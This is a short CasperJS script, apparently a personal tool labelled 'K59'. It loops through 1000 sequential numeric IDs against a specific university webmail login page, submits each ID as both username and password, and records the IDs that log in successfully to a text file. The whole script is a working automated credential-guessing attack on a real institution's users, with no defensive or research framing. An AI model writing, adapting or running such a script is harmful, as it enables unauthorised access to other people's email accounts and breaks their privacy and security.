K59

var casper = require('casper').create();
var fs = require('fs');


var id = parseInt(casper.cli.args[0]);


function search() {
        casper.echo(++id);
        casper.thenOpen('http://ctmail.vnu.edu.vn/webmail/src/login.php');

        casper.then(function () {
            this.fillSelectors('form[action="redirect.php"]', {
                'input[name="login_username"]': id.toString(),
                'input[name="secretkey"]': id.toString(),
                'input[name="js_autodetect_results"]': 1
            }, true);
        });
        casper.wait(1000);

        casper.then(function () {
            if (this.exists('frame[name="left"]')) {
                this.echo('Found!');
                fs.write('59.txt', id.toString() + '\n', 'a');
            }
        });
}

casper.start('http://ctmail.vnu.edu.vn/webmail/src/login.php');

casper.then(function () {
    this.repeat(1000, search);
});

casper.run();